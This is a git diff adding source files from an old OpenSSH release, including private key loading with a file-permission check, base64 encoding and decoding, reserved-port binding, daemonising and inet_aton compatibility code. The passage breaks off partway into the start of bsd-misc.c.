+load_private_key_dsa(int fd, const char *passphrase, Key *k, char **comment_return) +{ + DSA *dsa; + BIO *in; + FILE *fp; + + in = BIO_new(BIO_s_file()); + if (in == NULL) { + error("BIO_new failed"); + return 0; + } + fp = fdopen(fd, "r"); + if (fp == NULL) { + error("fdopen failed"); + return 0; + } + BIO_set_fp(in, fp, BIO_NOCLOSE); + dsa = PEM_read_bio_DSAPrivateKey(in, NULL, NULL, (char *)passphrase); + if (dsa == NULL) { + debug("PEM_read_bio_DSAPrivateKey failed"); + } else { + /* replace k->dsa with loaded key */ + DSA_free(k->dsa); + k->dsa = dsa; + } + BIO_free(in); + fclose(fp); + if (comment_return) + *comment_return = xstrdup("dsa w/o comment"); + debug("read DSA private key done"); +#ifdef DEBUG_DSS + DSA_print_fp(stderr, dsa, 8); +#endif + return dsa != NULL ? 1 : 0; +} + +int +load_private_key(const char *filename, const char *passphrase, Key *key, + char **comment_return) +{ + int fd; + int ret = 0; + struct stat st; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return 0; + + /* check owner and modes */ + if (fstat(fd, &st) < 0 || + (st.st_uid != 0 && st.st_uid != getuid()) || + (st.st_mode & 077) != 0) { + close(fd); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: UNPROTECTED PRIVATE KEY FILE! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("Bad ownership or mode(0%3.3o) for '%s'.", + st.st_mode & 0777, filename); + error("It is recommended that your private key files are NOT accessible by others."); + return 0; + } + switch (key->type) { + case KEY_RSA: + if (key->rsa->e != NULL) { + BN_clear_free(key->rsa->e); + key->rsa->e = NULL; + } + if (key->rsa->n != NULL) { + BN_clear_free(key->rsa->n); + key->rsa->n = NULL; + } + ret = load_private_key_rsa(fd, filename, passphrase, + key->rsa, comment_return); + break; + case KEY_DSA: + ret = load_private_key_dsa(fd, passphrase, key, comment_return); + default: + break; + } + close(fd); + return ret; +} diff --git a/other/openssh-2.1.1p4/authfile.h b/other/openssh-2.1.1p4/authfile.h new file mode 100644 index 0000000..afec27d --- /dev/null +++ b/other/openssh-2.1.1p4/authfile.h @@ -0,0 +1,36 @@ +#ifndef AUTHFILE_H +#define AUTHFILE_H + +/* + * Saves the authentication (private) key in a file, encrypting it with + * passphrase. + * For RSA keys: The identification of the file (lowest 64 bits of n) + * will precede the key to provide identification of the key without + * needing a passphrase. + */ +int +save_private_key(const char *filename, const char *passphrase, + Key * private_key, const char *comment); + +/* + * Loads the public part of the key file (public key and comment). Returns 0 + * if an error occurred; zero if the public key was successfully read. The + * comment of the key is returned in comment_return if it is non-NULL; the + * caller must free the value with xfree. + */ +int +load_public_key(const char *filename, Key * pub, + char **comment_return); + +/* + * Loads the private key from the file. Returns 0 if an error is encountered + * (file does not exist or is not readable, or passphrase is bad). This + * initializes the private key. The comment of the key is returned in + * comment_return if it is non-NULL; the caller must free the value with + * xfree. + */ +int +load_private_key(const char *filename, const char *passphrase, + Key * private_key, char **comment_return); + +#endif diff --git a/other/openssh-2.1.1p4/aux.c b/other/openssh-2.1.1p4/aux.c new file mode 100644 index 0000000..709e245 --- /dev/null +++ b/other/openssh-2.1.1p4/aux.c @@ -0,0 +1,71 @@ +#include "includes.h" +RCSID("$OpenBSD: aux.c,v 1.4 2000/07/13 22:53:21 provos Exp $"); + +#include "ssh.h" + +char * +chop(char *s) +{ + char *t = s; + while (*t) { + if(*t == '\n' || *t == '\r') { + *t = '\0'; + return s; + } + t++; + } + return s; + +} + +void +set_nonblock(int fd) +{ + int val; + if (isatty(fd)) { + /* do not mess with tty's */ + debug("no set_nonblock for tty fd %d", fd); + return; + } + val = fcntl(fd, F_GETFL, 0); + if (val < 0) { + error("fcntl(%d, F_GETFL, 0): %s", fd, strerror(errno)); + return; + } + if (val & O_NONBLOCK) + return; + debug("fd %d setting O_NONBLOCK", fd); + val |= O_NONBLOCK; + if (fcntl(fd, F_SETFL, val) == -1) + error("fcntl(%d, F_SETFL, O_NONBLOCK): %s", fd, strerror(errno)); +} + +/* Characters considered whitespace in strsep calls. */ +#define WHITESPACE " \t\r\n" + +char * +strdelim(char **s) +{ + char *old; + int wspace = 0; + + if (*s == NULL) + return NULL; + + old = *s; + + *s = strpbrk(*s, WHITESPACE "="); + if (*s == NULL) + return (old); + + /* Allow only one '=' to be skipped */ + if (*s[0] == '=') + wspace = 1; + *s[0] = '\0'; + + *s += strspn(*s + 1, WHITESPACE) + 1; + if (*s[0] == '=' && !wspace) + *s += strspn(*s + 1, WHITESPACE) + 1; + + return (old); +} diff --git a/other/openssh-2.1.1p4/bsd-base64.c b/other/openssh-2.1.1p4/bsd-base64.c new file mode 100644 index 0000000..8cbf8ee --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-base64.c @@ -0,0 +1,316 @@ +/* $OpenBSD: base64.c,v 1.3 1997/11/08 20:46:55 deraadt Exp $ */ + +/* + * Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +/* + * Portions Copyright (c) 1995 by International Business Machines, Inc. + * + * International Business Machines, Inc. (hereinafter called IBM) grants + * permission under its copyrights to use, copy, modify, and distribute this + * Software with or without fee, provided that the above copyright notice and + * all paragraphs of this notice appear in all copies, and that the name of IBM + * not be used in connection with the marketing of any product incorporating + * the Software or modifications thereof, without specific, written prior + * permission. + * + * To the extent it has a right to do so, IBM grants an immunity from suit + * under its patents, if any, for the use, sale or manufacture of products to + * the extent that such products are used for performing Domain Name System + * dynamic updates in TCP/IP networks by means of the Software. No immunity is + * granted for any product per se or for any other function of any product. + * + * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL, + * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING + * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN + * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES. + */ + +#include "config.h" + +#if !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include "bsd-base64.h" + +#define Assert(Cond) if (!(Cond)) abort() + +static const char Base64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const char Pad64 = '='; + +/* (From RFC1521 and draft-ietf-dnssec-secext-03.txt) + The following encoding technique is taken from RFC 1521 by Borenstein + and Freed. It is reproduced here in a slightly edited form for + convenience. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a quantity. When fewer than 24 input + bits are available in an input group, zero bits are added (on the + right) to form an integral number of 6-bit groups. Padding at the + end of the data is performed using the '=' character. + + Since all base64 input is an integral number of octets, only the + ------------------------------------------------- + following cases can arise: + + (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded + output will be an integral multiple of 4 characters + with no "=" padding, + (2) the final quantum of encoding input is exactly 8 bits; + here, the final unit of encoded output will be two + characters followed by two "=" padding characters, or + (3) the final quantum of encoding input is exactly 16 bits; + here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + +int +b64_ntop(u_char const *src, size_t srclength, char *target, size_t targsize) +{ + size_t datalength = 0; + u_char input[3]; + u_char output[4]; + int i; + + while (2 < srclength) { + input[0] = *src++; + input[1] = *src++; + input[2] = *src++; + srclength -= 3; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + output[3] = input[2] & 0x3f; + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + Assert(output[3] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + target[datalength++] = Base64[output[2]]; + target[datalength++] = Base64[output[3]]; + } + + /* Now we worry about padding. */ + if (0 != srclength) { + /* Get what's left. */ + input[0] = input[1] = input[2] = '\0'; + for (i = 0; i < srclength; i++) + input[i] = *src++; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + if (srclength == 1) + target[datalength++] = Pad64; + else + target[datalength++] = Base64[output[2]]; + target[datalength++] = Pad64; + } + if (datalength >= targsize) + return (-1); + target[datalength] = '\0'; /* Returned value doesn't count \0. */ + return (datalength); +} + +/* skips all whitespace anywhere. + converts characters, four at a time, starting at (or after) + src from base - 64 numbers into three 8 bit bytes in the target area. + it returns the number of data bytes stored at the target, or -1 on error. + */ + +int +b64_pton(char const *src, u_char *target, size_t targsize) +{ + int tarindex, state, ch; + char *pos; + + state = 0; + tarindex = 0; + + while ((ch = *src++) != '\0') { + if (isspace(ch)) /* Skip whitespace anywhere. */ + continue; + + if (ch == Pad64) + break; + + pos = strchr(Base64, ch); + if (pos == 0) /* A non-base64 character. */ + return (-1); + + switch (state) { + case 0: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] = (pos - Base64) << 2; + } + state = 1; + break; + case 1: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 4; + target[tarindex+1] = ((pos - Base64) & 0x0f) + << 4 ; + } + tarindex++; + state = 2; + break; + case 2: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 2; + target[tarindex+1] = ((pos - Base64) & 0x03) + << 6; + } + tarindex++; + state = 3; + break; + case 3: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64); + } + tarindex++; + state = 0; + break; + } + } + + /* + * We are done decoding Base-64 chars. Let's see if we ended + * on a byte boundary, and/or with erroneous trailing characters. + */ + + if (ch == Pad64) { /* We got a pad char. */ + ch = *src++; /* Skip it, get next. */ + switch (state) { + case 0: /* Invalid = in first position */ + case 1: /* Invalid = in second position */ + return (-1); + + case 2: /* Valid, means one byte of info */ + /* Skip any number of spaces. */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + break; + /* Make sure there is another trailing = sign. */ + if (ch != Pad64) + return (-1); + ch = *src++; /* Skip the = */ + /* Fall through to "single trailing =" case. */ + /* FALLTHROUGH */ + + case 3: /* Valid, means two bytes of info */ + /* + * We know this char is an =. Is there anything but + * whitespace after it? + */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + return (-1); + + /* + * Now make sure for cases 2 and 3 that the "extra" + * bits that slopped past the last full byte were + * zeros. If we don't check them, they become a + * subliminal channel. + */ + if (target && target[tarindex] != 0) + return (-1); + } + } else { + /* + * We ended by seeing the end of the string. Make sure we + * have no partial bytes lying around. + */ + if (state != 0) + return (-1); + } + + return (tarindex); +} + +#endif /* !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) */ diff --git a/other/openssh-2.1.1p4/bsd-base64.h b/other/openssh-2.1.1p4/bsd-base64.h new file mode 100644 index 0000000..c1d69dd --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-base64.h @@ -0,0 +1,16 @@ +#ifndef _BSD_BASE64_H +#define _BSD_BASE64_H + +#include "config.h" + +#ifndef HAVE___B64_NTOP +# ifndef HAVE_B64_NTOP +int b64_ntop(u_char const *src, size_t srclength, char *target, + size_t targsize); +int b64_pton(char const *src, u_char *target, size_t targsize); +# endif /* !HAVE_B64_NTOP */ +# define __b64_ntop b64_ntop +# define __b64_pton b64_pton +#endif /* HAVE___B64_NTOP */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/openssh-2.1.1p4/bsd-bindresvport.c b/other/openssh-2.1.1p4/bsd-bindresvport.c new file mode 100644 index 0000000..15bb667 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-bindresvport.c @@ -0,0 +1,112 @@ +/* + * Sun RPC is a product of Sun Microsystems, Inc. and is provided for + * unrestricted use provided that this legend is included on all tape + * media and as a part of the software program in whole or part. Users + * may copy or modify Sun RPC without charge, but are not authorized + * to license or distribute it to anyone else except as part of a product or + * program developed by the user. + * + * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE + * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR + * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE. + * + * Sun RPC is provided with no support and without any obligation on the + * part of Sun Microsystems, Inc. to assist in its use, correction, + * modification or enhancement. + * + * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE + * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC + * OR ANY PART THEREOF. + * + * In no event will Sun Microsystems, Inc. be liable for any lost revenue + * or profits or other special, indirect and consequential damages, even if + * Sun has been advised of the possibility of such damages. + * + * Sun Microsystems, Inc. + * 2550 Garcia Avenue + * Mountain View, California 94043 + */ + +#include "config.h" + +#ifndef HAVE_BINRESVPORT_AF + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: bindresvport.c,v 1.11 1999/12/17 19:22:08 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +/* + * Copyright (c) 1987 by Sun Microsystems, Inc. + * + * Portions Copyright(C) 1996, Jason Downs. All rights reserved. + */ + +#include "includes.h" + +#define STARTPORT 600 +#define ENDPORT (IPPORT_RESERVED - 1) +#define NPORTS (ENDPORT - STARTPORT + 1) + +/* + * Bind a socket to a privileged IP port + */ +int +bindresvport_af(sd, sa, af) + int sd; + struct sockaddr *sa; + int af; +{ + int error; + struct sockaddr_storage myaddr; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + u_int16_t *portp; + u_int16_t port; + int salen; + int i; + + if (sa == NULL) { + memset(&myaddr, 0, sizeof(myaddr)); + sa = (struct sockaddr *)&myaddr; + } + + if (af == AF_INET) { + sin = (struct sockaddr_in *)sa; + salen = sizeof(struct sockaddr_in); + portp = &sin->sin_port; + } else if (af == AF_INET6) { + sin6 = (struct sockaddr_in6 *)sa; + salen = sizeof(struct sockaddr_in6); + portp = &sin6->sin6_port; + } else { + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + port = ntohs(*portp); + if (port == 0) + port = (arc4random() % NPORTS) + STARTPORT; + + for(i = 0; i < NPORTS; i++) { + *portp = htons(port); + + error = bind(sd, sa, salen); + + /* Terminate on success */ + if (error == 0) + break; + + /* Terminate on errors, except "address already in use" */ + if ((error < 0) && !((errno == EADDRINUSE) || (errno == EINVAL))) + break; + + port++; + if (port > ENDPORT) + port = STARTPORT; + } + + return (error); +} + +#endif /* HAVE_BINRESVPORT_AF */ diff --git a/other/openssh-2.1.1p4/bsd-bindresvport.h b/other/openssh-2.1.1p4/bsd-bindresvport.h new file mode 100644 index 0000000..df084e3 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-bindresvport.h @@ -0,0 +1,10 @@ +#ifndef _BSD_BINRESVPORT_H +#define _BSD_BINRESVPORT_H + +#include "config.h" + +#ifndef HAVE_BINRESVPORT_AF +int bindresvport_af(int sd, struct sockaddr *sa, int af); +#endif /* !HAVE_BINRESVPORT_AF */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/openssh-2.1.1p4/bsd-daemon.c b/other/openssh-2.1.1p4/bsd-daemon.c new file mode 100644 index 0000000..fe92b76 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-daemon.c @@ -0,0 +1,81 @@ +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_DAEMON + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: daemon.c,v 1.2 1996/08/19 08:22:13 tholo Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +#ifdef HAVE_PATHS_H +# include +#endif + +int +daemon(nochdir, noclose) + int nochdir, noclose; +{ + int fd; + + switch (fork()) { + case -1: + return (-1); + case 0: + break; + default: + _exit(0); + } + + if (setsid() == -1) + return (-1); + + if (!nochdir) + (void)chdir("/"); + + if (!noclose && (fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) { + (void)dup2(fd, STDIN_FILENO); + (void)dup2(fd, STDOUT_FILENO); + (void)dup2(fd, STDERR_FILENO); + if (fd > 2) + (void)close (fd); + } + return (0); +} + +#endif /* !HAVE_DAEMON */ + diff --git a/other/openssh-2.1.1p4/bsd-daemon.h b/other/openssh-2.1.1p4/bsd-daemon.h new file mode 100644 index 0000000..cd91ea0 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-daemon.h @@ -0,0 +1,9 @@ +#ifndef _BSD_DAEMON_H +#define _BSD_DAEMON_H + +#include "config.h" +#ifndef HAVE_DAEMON +int daemon(int nochdir, int noclose); +#endif /* !HAVE_DAEMON */ + +#endif /* _BSD_DAEMON_H */ diff --git a/other/openssh-2.1.1p4/bsd-inet_aton.c b/other/openssh-2.1.1p4/bsd-inet_aton.c new file mode 100644 index 0000000..18e31e7 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-inet_aton.c @@ -0,0 +1,193 @@ +/* $OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $ */ + +/* + * ++Copyright++ 1983, 1990, 1993 + * - + * Copyright (c) 1983, 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * - + * Portions Copyright (c) 1993 by Digital Equipment Corporation. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies, and that + * the name of Digital Equipment Corporation not be used in advertising or + * publicity pertaining to distribution of the document or software without + * specific, written prior permission. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT + * CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + * - + * --Copyright-- + */ + +#include "config.h" + +#if !defined(HAVE_INET_ATON) + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)inet_addr.c 8.1 (Berkeley) 6/17/93"; +static char rcsid[] = "$From: inet_addr.c,v 8.5 1996/08/05 08:31:35 vixie Exp $"; +#else +static char rcsid[] = "$OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include + +#if 0 +/* + * Ascii internet address interpretation routine. + * The value returned is in network order. + */ +in_addr_t +inet_addr(cp) + register const char *cp; +{ + struct in_addr val; + + if (inet_aton(cp, &val)) + return (val.s_addr); + return (INADDR_NONE); +} +#endif + +/* + * Check whether "cp" is a valid ascii representation + * of an Internet address and convert to a binary address. + * Returns 1 if the address is valid, 0 if not. + * This replaces inet_addr, the return value from which + * cannot distinguish between failure and a local broadcast address. + */ +int +inet_aton(const char *cp, struct in_addr *addr) +{ + register u_int32_t val; + register int base, n; + register char c; + unsigned int parts[4]; + register unsigned int *pp = parts; + + c = *cp; + for (;;) { + /* + * Collect number up to ``.''. + * Values are specified as for C: + * 0x=hex, 0=octal, isdigit=decimal. + */ + if (!isdigit(c)) + return (0); + val = 0; base = 10; + if (c == '0') { + c = *++cp; + if (c == 'x' || c == 'X') + base = 16, c = *++cp; + else + base = 8; + } + for (;;) { + if (isascii(c) && isdigit(c)) { + val = (val * base) + (c - '0'); + c = *++cp; + } else if (base == 16 && isascii(c) && isxdigit(c)) { + val = (val << 4) | + (c + 10 - (islower(c) ? 'a' : 'A')); + c = *++cp; + } else + break; + } + if (c == '.') { + /* + * Internet format: + * a.b.c.d + * a.b.c (with c treated as 16 bits) + * a.b (with b treated as 24 bits) + */ + if (pp >= parts + 3) + return (0); + *pp++ = val; + c = *++cp; + } else + break; + } + /* + * Check for trailing characters. + */ + if (c != '\0' && (!isascii(c) || !isspace(c))) + return (0); + /* + * Concoct the address according to + * the number of parts specified. + */ + n = pp - parts + 1; + switch (n) { + + case 0: + return (0); /* initial nondigit */ + + case 1: /* a -- 32 bits */ + break; + + case 2: /* a.b -- 8.24 bits */ + if ((val > 0xffffff) || (parts[0] > 0xff)) + return (0); + val |= parts[0] << 24; + break; + + case 3: /* a.b.c -- 8.8.16 bits */ + if ((val > 0xffff) || (parts[0] > 0xff) || (parts[1] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16); + break; + + case 4: /* a.b.c.d -- 8.8.8.8 bits */ + if ((val > 0xff) || (parts[0] > 0xff) || (parts[1] > 0xff) || (parts[2] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); + break; + } + if (addr) + addr->s_addr = htonl(val); + return (1); +} + +#endif /* !defined(HAVE_INET_ATON) */ diff --git a/other/openssh-2.1.1p4/bsd-inet_aton.h b/other/openssh-2.1.1p4/bsd-inet_aton.h new file mode 100644 index 0000000..ec3c225 --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-inet_aton.h @@ -0,0 +1,10 @@ +#ifndef _BSD_INET_ATON_H +#define _BSD_INET_ATON_H + +#include "config.h" + +#ifndef HAVE_INET_ATON +int inet_aton(const char *cp, struct in_addr *addr); +#endif /* HAVE_INET_ATON */ + +#endif /* _BSD_INET_ATON_H */ diff --git a/other/openssh-2.1.1p4/bsd-misc.c b/other/openssh-2.1.1p4/bsd-misc.c new file mode 100644 index 0000000..e6b529e --- /dev/null +++ b/other/openssh-2.1.1p4/bsd-misc.c @@ -0,0 +1,166 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" + +#include +#include +#include +#include +#include + +#include +#include +#include +#ifdef HAVE_STDDEF_H +#include +#endif + +#include "xmalloc.h" +#include "ssh.h" +#include "bsd-misc.h" +#include "entropy.h" + +#include + +#ifndef HAVE_ARC4RANDOM + +typedef struct +{ + unsigned int s[256]; + int i; + int j; +} rc4_t; + +void rc4_key(rc4_t *r, unsigned char *key, int len); +void rc4_getbytes(rc4_t *r, unsigned char *buffer, int len); + +static rc4_t 